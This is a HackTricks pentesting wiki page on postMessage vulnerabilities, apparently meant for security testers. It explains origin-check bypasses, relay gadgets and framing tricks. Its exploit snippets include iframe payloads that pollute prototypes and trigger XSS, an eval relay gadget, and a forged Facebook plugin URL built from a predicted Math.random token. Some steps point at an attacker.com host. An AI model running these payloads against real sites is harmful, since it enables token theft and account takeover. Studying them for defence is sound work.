overview.md (23419B)
1 --- 2 title: "PostMessage Vulnerabilities" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/postmessage-vulnerabilities/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/postmessage-vulnerabilities/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PostMessage Vulnerabilities 14 15 ## Send **PostMessage** 16 17 **PostMessage** uses the following function to send a message: 18 19 ```bash 20 targetWindow.postMessage(message, targetOrigin, [transfer]); 21 22 # postMessage to current page 23 window.postMessage('{"__proto__":{"isAdmin":True}}', '*') 24 25 # postMessage to an iframe with id "idframe" 26 <iframe id="idframe" src="http://victim.com/"></iframe> 27 document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*') 28 29 # postMessage to an iframe via onload 30 <iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')"> 31 32 # postMessage to popup 33 win = open('URL', 'hack', 'width=800,height=300,top=500'); 34 win.postMessage('{"__proto__":{"isAdmin":True}}', '*') 35 36 # postMessage to a URL 37 window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com') 38 39 # postMessage to iframe inside popup 40 win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500'); 41 ## loop until win.length == 1 (until the iframe is loaded) 42 win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') 43 ``` 44 45 `targetOrigin` can be `'*'` or an exact origin such as `https://company.com`. With an exact origin, the browser delivers the message only if the target window currently has that origin. With `'*'`, the message can be delivered regardless of the target window's current origin. 46 47 ### Attacking iframe & wildcard in **targetOrigin** 48 49 As explained in [**this archived report**](https://web.archive.org/web/20230000000000id_/https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if a page can be **framed** (no effective `X-Frame-Options` or CSP `frame-ancestors` protection) and sends a **sensitive message** with a wildcard `targetOrigin`, an attacker may navigate the iframe to an attacker-controlled origin and receive the message there.<sup>[[3]](#references)</sup>\ 50 Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.<sup>[[3]](#references)</sup> 51 52 ```html 53 <html> 54 <iframe src="https://docs.google.com/document/ID" /> 55 <script> 56 setTimeout(exp, 6000); //Wait 6s 57 58 //Try to change the origin of the iframe each 100ms 59 function exp(){ 60 setInterval(function(){ 61 window.frames[0].frame[0][2].location="https://attacker.com/exploit.html"; 62 }, 100); 63 } 64 </script> 65 ``` 66 67 ## addEventListener exploitation 68 69 JavaScript uses **`addEventListener`** to register a handler that receives `message` events.\ 70 A code similar to the following one will be used: 71 72 ```javascript 73 window.addEventListener( 74 "message", 75 (event) => { 76 if (event.origin !== "http://example.org:8080") return 77 78 // ... 79 }, 80 false 81 ) 82 ``` 83 84 The handler first **checks the sender origin**. This is essential whenever received data drives a sensitive action, such as changing a password. Without a strict origin check, an attacker can make a victim page submit arbitrary message data to the handler. 85 86 ### Enumeration 87 88 In order to **find event listeners** in the current page you can: 89 90 - **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)<sup>[[5]](#references)</sup> 91 - **Execute** in the developer tools console: `getEventListeners(window)` 92 93  94 95 - **Go to** _Elements --> Event Listeners_ in the developer tools of the browser 96 97  98 99 - Use a **browser extension** such as [Posta](https://github.com/benso-io/posta) or [postMessage-tracker](https://github.com/fransr/postMessage-tracker). These extensions intercept and display messages. 100 101 ### Origin check bypasses 102 103 - **Do not use `event.isTrusted` as sender authorization.** It indicates whether the browser dispatched the event rather than whether JavaScript called `dispatchEvent`; it does not prove that a `MessageEvent` came from a trusted origin or genuine user action. Validate `event.origin`, and where relevant `event.source`, instead.<sup>[[10]](#references)</sup> 104 - The use of **`indexOf()`** for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is: 105 106 ```javascript 107 "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma") 108 ``` 109 110 - The **`search()`** method from `String.prototype.search()` is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance: 111 112 ```javascript 113 "https://www.safedomain.com".search("www.s.fedomain.com") 114 ``` 115 116 - The **`match()`** function, similar to `search()`, processes regex. If the regex is improperly structured, it might be prone to bypassing. 117 - The **`escapeHtml`** function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge `hasOwnProperty`, the `escapeHtml` won't perform as expected. This is demonstrated in the examples below: 118 119 - Expected Failure: 120 121 ```javascript 122 result = u({ 123 message: "'\"<b>\\", 124 }) 125 result.message // "'"<b>\" 126 ``` 127 128 - Bypassing the escape: 129 130 ```javascript 131 result = u(new Error("'\"<b>\\")) 132 result.message // "'"<b>\" 133 ``` 134 135 In the context of this vulnerability, the `File` object is notably exploitable due to its read-only `name` property. This property, when used in templates, is not sanitized by the `escapeHtml` function, leading to potential security risks. 136 137 - The `document.domain` property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain. 138 139 ### Substring scheme checks in message-to-navigation sinks 140 141 If a receiver does not validate `event.origin`, then checks only whether `event.data` **contains** `http:`/`https:` before assigning it to `location.href`, the substring check does not constrain the actual URL scheme. Start the value with `javascript:` and place the required substring after a JavaScript line comment; the browser executes the leading JavaScript URL in the receiver's origin.<sup>[[11]](#references)[[12]](#references)</sup> 142 143 ```html 144 <iframe 145 src="https://target.example/" 146 onload="this.contentWindow.postMessage('javascript:print()//http:','*')"> 147 </iframe> 148 ``` 149 150 Here, `http:` satisfies an `indexOf('http:') > -1` filter but is ignored as comment text. Exploitation requires a reference to the target window (for example, a frameable page or popup), an attacker-reachable listener, and a navigation sink that permits the `javascript:` URL.<sup>[[11]](#references)[[12]](#references)</sup> 151 152 ### Origin-only trust + trusted relays 153 154 If a receiver only checks **`event.origin`** (e.g., trusts any `*.trusted.com`) you can often find a **"relay" page on that origin that echoes attacker-controlled params via `postMessage`** to a supplied `targetOrigin`/`targetWindow`. Examples include marketing/analytics gadgets that take query params and forward `{msg_type, access_token, ...}` to `opener`/`parent`. You can: 155 156 - **Open the victim page in a popup/iframe that has an `opener`** so its handlers register (many pixels/SDKs only attach listeners when `window.opener` exists).<sup>[[4]](#references)</sup> 157 - **Navigate another attacker window to the relay endpoint on the trusted origin**, populating message fields you want injected (message type, tokens, nonces). 158 - Because the message now comes **from the trusted origin**, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener. 159 160 Abuse patterns seen in the wild: 161 162 - Analytics SDKs (e.g., pixel/fbevents-style) consume messages like `FACEBOOK_IWL_BOOTSTRAP`, then **call backend APIs using a token supplied in the message** and include **`location.href` / `document.referrer`** in the request body. If you supply your own token, you can **read these requests in the token’s request history/logs** and exfil **OAuth codes/tokens** present in the URL/referrer of the victim page. 163 - Any relay that reflects arbitrary fields into `postMessage` lets you **spoof message types** expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows. 164 165 Hunting tips: enumerate `postMessage` listeners that only check `event.origin`, then look for **same-origin HTML/JS endpoints that forward URL params via `postMessage`** (marketing previews, login popups, OAuth error pages). Stitch both together with `window.open()` + `postMessage` to bypass origin checks. 166 167 ### e.origin == window.origin bypass 168 169 When embedding a web page within a **sandboxed iframe** using %%%%%%, it's crucial to understand that the iframe's origin will be set to null. This is particularly important when dealing with **sandbox attributes** and their implications on security and functionality. 170 171 By specifying **`allow-popups`** in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the **`allow-popups-to-escape-sandbox`** attribute is also included, the popup window's origin is similarly set to `null`, aligning with the iframe's origin. 172 173 Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using **`postMessage`**, both the sending and receiving ends have their origins set to `null`. This situation leads to a scenario where **`e.origin == window.origin`** evaluates to true (`null == null`), because both the iframe and the popup share the same origin value of `null`. 174 175 For more information **read**: 176 177 178 [Bypassing Sop With Iframes 1](/hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1) 179 180 ### Bypassing e.source 181 182 It's possible to check if the message came from the same window the script is listening in (specially interesting for **Content Scripts from browser extensions** to check if the message was sent from the same page): 183 184 ```javascript 185 // If it’s not, return immediately. 186 if (received_message.source !== window) { 187 return 188 } 189 ``` 190 191 You can force **`e.source`** of a message to be null by creating an **iframe** that **sends** the **postMessage** and is **immediately deleted**. 192 193 For more information **read:** 194 195 196 [Bypassing Sop With Iframes 2](/hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2) 197 198 ### Framing-protection bypass 199 200 These attacks often require placing the victim page in an `iframe`, but `X-Frame-Options` and CSP `frame-ancestors` can prevent framing.\ 201 In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:<sup>[[2]](#references)</sup> 202 203 ```html 204 <script> 205 var w=window.open("<url>") 206 setTimeout(function(){w.postMessage('text here','*');}, 2000); 207 </script> 208 ``` 209 210 ### Stealing message sent to child by blocking the main page 211 212 In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received: 213 214 215 [Blocking Main Page To Steal Postmessage](/hacktricks/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage) 216 217 ### Stealing message by modifying iframe location 218 219 If a frameable page contains another iframe, an attacker may be able to **change the child iframe's location**. If that child receives a `postMessage` sent with wildcard `targetOrigin`, navigating it to an attacker-controlled origin can expose the message: 220 221 222 [Steal Postmessage Modifying Iframe Location](/hacktricks/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location) 223 224 ### postMessage to Prototype Pollution and/or XSS 225 226 In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`. 227 228 A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)<sup>[[1]](#references)</sup> 229 230 Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`: 231 232 ```html 233 <html> 234 <body> 235 <iframe 236 id="idframe" 237 src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe> 238 <script> 239 function get_code() { 240 document 241 .getElementById("iframe_victim") 242 .contentWindow.postMessage( 243 '{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}', 244 "*" 245 ) 246 document 247 .getElementById("iframe_victim") 248 .contentWindow.postMessage(JSON.stringify("refresh"), "*") 249 } 250 251 setTimeout(get_code, 2000) 252 </script> 253 </body> 254 </html> 255 ``` 256 257 For **more information**: 258 259 - Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/index.html) 260 - Link to page about [**XSS**](../xss-cross-site-scripting/index.html) 261 - Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) 262 263 ### Origin-derived script loading & supply-chain pivot (CAPIG case study) 264 265 `capig-events.js` only registered a `message` handler when `window.opener` existed. On `IWL_BOOTSTRAP` it checked `pixel_id` but stored `event.origin` and later used it to build `${host}/sdk/${pixel_id}/iwl.js`.<sup>[[6]](#references)</sup> 266 267 <details> 268 <summary>Handler writing attacker-controlled origin</summary> 269 270 ```javascript 271 if (window.opener) { 272 window.addEventListener("message", (event) => { 273 if ( 274 !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && 275 !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && 276 event.data.msg_type === "IWL_BOOTSTRAP" && 277 checkInList(g.pixels, event.data.pixel_id) !== -1 278 ) { 279 localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { 280 pixelID: event.data.pixel_id, 281 host: event.origin, 282 sessionStartTime: event.data.session_start_time, 283 }) 284 startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` 285 } 286 }) 287 } 288 ``` 289 290 </details> 291 292 **Exploit (origin → script-src pivot):** 293 1. Get an opener: e.g., in Facebook Android WebView reuse `window.name` with `window.open(target, name)` so the window becomes its own opener, then post a message from a malicious iframe. 294 2. Send `IWL_BOOTSTRAP` from any origin to persist `host = event.origin` in `localStorage`. 295 3. Host `/sdk/<pixel_id>/iwl.js` on any CSP-allowed origin (takeover/XSS/upload on a whitelisted analytics domain). `startIWL()` then loads attacker JS in the embedding site (e.g., `www.meta.com`), enabling credentialed cross-origin calls and account takeover. 296 297 If direct opener control was impossible, compromising a third-party iframe on the page still allowed sending the crafted `postMessage` to the parent to poison the stored host and force the script load. 298 299 **Backend-generated shared script → stored XSS:** the plugin `AHPixelIWLParametersPlugin` concatenated user rule parameters into JS appended to `capig-events.js` (e.g., `cbq.config.set(...)`). Injecting breakouts like `"]}` injected arbitrary JS, creating stored XSS in the shared script served to all sites loading it. 300 301 ### Trusted-origin allowlist isn't a boundary 302 303 A strict `event.origin` check only works if the **trusted origin cannot run attacker JS**. When privileged pages embed third-party iframes and assume `event.origin === "https://partner.com"` is safe, any XSS in `partner.com` becomes a bridge into the parent:<sup>[[7]](#references)</sup> 304 305 ```javascript 306 // Parent (trusted page) 307 window.addEventListener("message", (e) => { 308 if (e.origin !== "https://partner.com") return 309 const [type, html] = e.data.split("|") 310 if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS 311 }) 312 ``` 313 314 Attack pattern observed in the wild: 315 316 1. **Exploit XSS in the partner iframe** and drop a relay gadget so any `postMessage` becomes code exec inside the trusted origin: 317 318 ```html 319 <img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};"> 320 ``` 321 322 2. **From the attacker page**, send JS to the compromised iframe that forwards an allowed message type back to the parent. The message originates from `partner.com`, passes the allowlist, and carries HTML that is inserted unsafely: 323 324 ```javascript 325 postMessage({ 326 cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')` 327 }, "*") 328 ``` 329 330 3. The parent injects the attacker HTML, giving **JS execution in the parent origin** (e.g., `facebook.com`), which can then be used to steal OAuth codes or pivot to full account takeover flows. 331 332 Key takeaways: 333 334 - **Partner origin isn't a boundary**: any XSS in a "trusted" partner lets attackers send allowed messages that bypass `event.origin` checks. 335 - Handlers that **render partner-controlled payloads** (e.g., `innerHTML` on specific message types) make partner compromise a same-origin DOM XSS. 336 - A wide **message surface** (many types, no structure validation) gives more gadgets for pivoting once a partner iframe is compromised. 337 338 ### Predicting **`Math.random()`** callback tokens in postMessage bridges 339 340 When message validation uses a “shared secret” generated with `Math.random()` (e.g., `guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }`) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages:<sup>[[8]](#references)</sup><sup>[[9]](#references)</sup> 341 342 - **Leak PRNG outputs via `window.name`:** The SDK auto-names plugin iframes with `guid()`. If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g., `window.frames[0].frames[0].location='https://attacker.com'`) and read `window.frames[0].frames[0].name` to obtain a raw `Math.random()` output. 343 - **Force more outputs without reloads:** Some SDKs expose a reinit path; in the FB SDK, firing `init:post` with `{xfbml:1}` forces `XFBML.parse()`, destroys/recreates the plugin iframe, and generates new names/callback IDs. Repeated reinit produces as many PRNG outputs as needed (note extra internal `Math.random()` calls for callback/iframe IDs, so solvers must skip intervening values). 344 - **Trusted-origin delivery via parameter pollution:** If a first-party plugin endpoint reflects an unsanitized parameter into the cross-window payload (e.g., `/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET`), you can inject `&type=...&iconSVG=...` while preserving the trusted `facebook.com` origin. 345 - **Predict the next callback:** Convert leaked iframe names back to floats in `[0,1)` and feed several values (even non-consecutive) into a V8 `Math.random` predictor (e.g., Z3-based). Generate the next `guid()` locally to forge the expected callback token. 346 - **Trigger the sink:** Craft the postMessage data so the bridge dispatches `xd.mpn.setupIconIframe` and injects HTML in `iconSVG` (e.g., URL-encoded `<img src=x onerror=...>`), achieving DOM XSS inside the hosting origin; from there, same-origin iframes (OAuth dialogs, arbiters, etc.) can be read. 347 - **Framing quirks help:** The chain requires framing. In some mobile webviews, `X-Frame-Options` may degrade to unsupported `ALLOW-FROM` when `frame-ancestors` is present, and “compat” parameters can force permissive `frame-ancestors`, enabling the `window.name` side channel. 348 349 #### Minimal forged message example 350 351 ```javascript 352 // predictedFloat is the solver output for the next Math.random() 353 const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "") 354 const payload = 355 callback + 356 "&type=mpn.setupIconIframe&frameName=x" + 357 "&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e" 358 const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com` 359 iframe.location = fbMsg // sends postMessage from facebook.com with forged callback 360 ``` 361 362 ## References 363 364 - [1] [DOM XSS PostMessage - jlajara](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 365 - [2] [How to spot and exploit postMessage vulnerabilities - karanbamal](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) 366 - [3] [Google VRP: Hijacking your screenshots - GeekyCat (archived)](https://web.archive.org/web/20230000000000id_/https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) 367 - [4] [Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO](https://ysamm.com/uncategorized/2026/01/16/leaking-fbevents-ato.html) 368 - [5] [eventlistener-xss-recon (practice)](https://github.com/yavolo/eventlistener-xss-recon) 369 - [6] [CAPIG postMessage origin trust → script loading + stored JS injection](https://ysamm.com/uncategorized/2025/01/13/capig-xss.html) 370 - [7] [Self XSS Facebook Payments](https://ysamm.com/uncategorized/2026/01/15/self-xss-facebook-payments.html) 371 - [8] [Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup](https://ysamm.com/uncategorized/2026/01/17/math-random-facebook-sdk.html) 372 - [9] [V8 Math.random() state recovery (Z3 predictor)](https://github.com/PwnFunction/v8-randomness-predictor) 373 - [10] [MDN – Event.isTrusted](https://developer.mozilla.org/en-US/docs/Web/API/Event/isTrusted) 374 - [11] [PortSwigger Lab: DOM XSS using web messages and a JavaScript URL](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-a-javascript-url) 375 - [12] [How to use Codex for Bug Bounty research: explore broadly, validate rigorously](https://www.yeswehack.com/learn-bug-bounty/llm-series-codex)